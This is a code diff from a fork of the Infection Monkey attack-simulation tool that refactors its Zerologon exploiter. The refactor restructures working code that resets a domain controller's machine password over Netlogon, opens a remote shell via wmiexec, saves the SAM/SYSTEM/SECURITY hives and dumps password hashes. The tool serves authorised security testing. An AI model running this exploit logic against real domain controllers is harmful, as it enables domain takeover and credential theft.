forked from p15670423/monkey
CR changes
This commit is contained in:
parent
a3bc9188dd
commit
2bdcdcc18b
|
@ -21,6 +21,7 @@ from infection_monkey.exploit.zerologon_utils.options import \
|
|||
OptionsForSecretsdump
|
||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
@ -47,7 +48,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = self.connect_to_dc()
|
||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
|
@ -55,29 +56,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
# Start exploiting attempts.
|
||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||
LOG.debug("Attempting exploit.")
|
||||
result = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
result = self.attempt_exploit(rpc_con)
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
if result is not None:
|
||||
break
|
||||
|
||||
if result['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||
self._send_rpc_login_requests(rpc_con)
|
||||
|
||||
else:
|
||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||
|
@ -95,15 +74,33 @@ class ZerologonExploiter(HostExploiter):
|
|||
return _exploited
|
||||
|
||||
def is_exploitable(self) -> bool:
|
||||
if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']:
|
||||
return True
|
||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||
|
||||
def connect_to_dc(self) -> object:
|
||||
binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
return rpc_con
|
||||
def _send_rpc_login_requests(self, rpc_con) -> None:
|
||||
result_exploit_attempt = None
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
try:
|
||||
result_exploit_attempt = self.attempt_exploit(rpc_con)
|
||||
except nrpc.DCERPCSessionError as e:
|
||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
|
||||
if result_exploit_attempt is not None:
|
||||
if result_exploit_attempt['ErrorCode'] == 0:
|
||||
self.report_login_attempt(result=True, user=self.dc_name)
|
||||
_exploited = True
|
||||
LOG.info("Exploit complete!")
|
||||
else:
|
||||
self.report_login_attempt(result=False, user=self.dc_name)
|
||||
_exploited = False
|
||||
LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.")
|
||||
break
|
||||
|
||||
def attempt_exploit(self, rpc_con: object) -> object:
|
||||
request = nrpc.NetrServerPasswordSet2()
|
||||
|
@ -139,20 +136,15 @@ class ZerologonExploiter(HostExploiter):
|
|||
if not original_pwd_nthash:
|
||||
raise Exception("Couldn't extract original DC password's nthash.")
|
||||
|
||||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
# Keep authenticating until successful.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
rpc_con = self.attempt_restoration(original_pwd_nthash)
|
||||
if rpc_con is not None:
|
||||
break
|
||||
if rpc_con:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
|
||||
if rpc_con:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
else:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
|
@ -173,7 +165,10 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes)
|
||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||
|
||||
def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]:
|
||||
def get_dumped_secrets(self,
|
||||
remote_name: str = '',
|
||||
username: str = '',
|
||||
options: Optional[object] = None) -> List[str]:
|
||||
dumper = DumpSecrets(remote_name=remote_name,
|
||||
username=username,
|
||||
options=options)
|
||||
|
@ -217,28 +212,27 @@ class ZerologonExploiter(HostExploiter):
|
|||
if not self.save_HKLM_keys_locally(admin_pwd_hashes):
|
||||
return
|
||||
|
||||
options = OptionsForSecretsdump(
|
||||
dc_ip=self.dc_ip,
|
||||
just_dc=False,
|
||||
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
||||
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
||||
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
||||
)
|
||||
try:
|
||||
options = OptionsForSecretsdump(
|
||||
dc_ip=self.dc_ip,
|
||||
just_dc=False,
|
||||
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
||||
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
||||
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||
options=options)
|
||||
for secret in dumped_secrets:
|
||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||
nthash = secret.split(':')[2]
|
||||
return nthash
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||
options=options)
|
||||
for secret in dumped_secrets:
|
||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||
nthash = secret.split(':')[2]
|
||||
return nthash
|
||||
|
||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||
for name in ['system', 'sam', 'security']:
|
||||
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}")
|
||||
|
||||
finally:
|
||||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool:
|
||||
LOG.debug("Starting remote shell on victim.")
|
||||
|
@ -250,9 +244,8 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
if remote_shell:
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
output_captor = StdoutOutputCaptor()
|
||||
output_captor.capture_stdout_output()
|
||||
|
||||
try:
|
||||
# Save HKLM keys on victim.
|
||||
|
@ -277,10 +270,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
LOG.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
info = _new_stdout.read()
|
||||
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
|
@ -288,10 +278,18 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
return False
|
||||
|
||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||
for name in ['system', 'sam', 'security']:
|
||||
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
|
||||
def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]:
|
||||
# Connect to the DC's Netlogon service.
|
||||
try:
|
||||
rpc_con = self.connect_to_dc()
|
||||
rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return
|
||||
|
|
|
@ -9,6 +9,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
|||
SAMHashes)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
from infection_monkey.utils.capture_output import StdoutOutputCaptor
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
|
@ -53,9 +55,9 @@ class DumpSecrets:
|
|||
self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
def dump(self):
|
||||
_orig_stdout = sys.stdout
|
||||
_new_stdout = io.StringIO()
|
||||
sys.stdout = _new_stdout
|
||||
output_captor = StdoutOutputCaptor()
|
||||
output_captor.capture_stdout_output()
|
||||
|
||||
dumped_secrets = ''
|
||||
|
||||
try:
|
||||
|
@ -176,9 +178,7 @@ class DumpSecrets:
|
|||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
sys.stdout = _orig_stdout
|
||||
_new_stdout.seek(0)
|
||||
dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys
|
||||
dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys
|
||||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
|
|
|
@ -75,11 +75,7 @@ class ZerologonFinger(HostFinger):
|
|||
|
||||
def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str):
|
||||
# Connect to the DC's Netlogon service.
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC,
|
||||
protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
rpc_con = self.connect_to_dc(dc_ip)
|
||||
|
||||
# Use an all-zero challenge and credential.
|
||||
plaintext = b'\x00' * 8
|
||||
|
@ -111,3 +107,10 @@ class ZerologonFinger(HostFinger):
|
|||
|
||||
except BaseException as ex:
|
||||
raise Exception(f'Unexpected error: {ex}.')
|
||||
|
||||
def connect_to_dc(self, dc_ip: str) -> object:
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
return rpc_con
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
import io
|
||||
import sys
|
||||
|
||||
|
||||
class StdoutOutputCaptor:
|
||||
def __init__(self):
|
||||
_orig_stdout = None
|
||||
_new_stdout = None
|
||||
|
||||
def capture_stdout_output(self) -> None:
|
||||
self._orig_stdout = sys.stdout
|
||||
self._new_stdout = io.StringIO()
|
||||
sys.stdout = self._new_stdout
|
||||
|
||||
def get_captured_stdout_output(self) -> str:
|
||||
self._reset_stdout_to_original()
|
||||
self._new_stdout.seek(0)
|
||||
info = self._new_stdout.read()
|
||||
return info
|
||||
|
||||
def _reset_stdout_to_original(self) -> None:
|
||||
sys.stdout = self._orig_stdout
|
|
@ -182,17 +182,17 @@ class ReportService:
|
|||
def get_stolen_creds():
|
||||
creds = []
|
||||
|
||||
stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems()
|
||||
stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems()
|
||||
creds.extend(stolen_system_info_creds)
|
||||
|
||||
stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems()
|
||||
stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems()
|
||||
creds.extend(stolen_exploit_creds)
|
||||
|
||||
logger.info('Stolen creds generated for reporting')
|
||||
return creds
|
||||
|
||||
@staticmethod
|
||||
def get_credentials_from_system_info_telems():
|
||||
def _get_credentials_from_system_info_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
|
||||
{'data.credentials': 1, 'monkey_guid': 1}):
|
||||
|
@ -201,7 +201,7 @@ class ReportService:
|
|||
return formatted_creds
|
||||
|
||||
@staticmethod
|
||||
def get_credentials_from_exploit_telems():
|
||||
def _get_credentials_from_exploit_telems():
|
||||
formatted_creds = []
|
||||
for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
|
||||
{'data.info.credentials': 1, 'monkey_guid': 1}):
|
||||
|
@ -212,19 +212,19 @@ class ReportService:
|
|||
@staticmethod
|
||||
def _format_creds_for_reporting(telem, monkey_creds):
|
||||
creds = []
|
||||
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
|
||||
if len(monkey_creds) == 0:
|
||||
return []
|
||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||
for user in monkey_creds:
|
||||
for pass_type in PASS_TYPE_DICT:
|
||||
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||
for cred_type in CRED_TYPE_DICT:
|
||||
if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]:
|
||||
continue
|
||||
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||
cred_row = \
|
||||
{
|
||||
'username': username,
|
||||
'type': PASS_TYPE_DICT[pass_type],
|
||||
'type': CRED_TYPE_DICT[cred_type],
|
||||
'origin': origin
|
||||
}
|
||||
if cred_row not in creds:
|
||||
|
|
Loading…
Reference in New Issue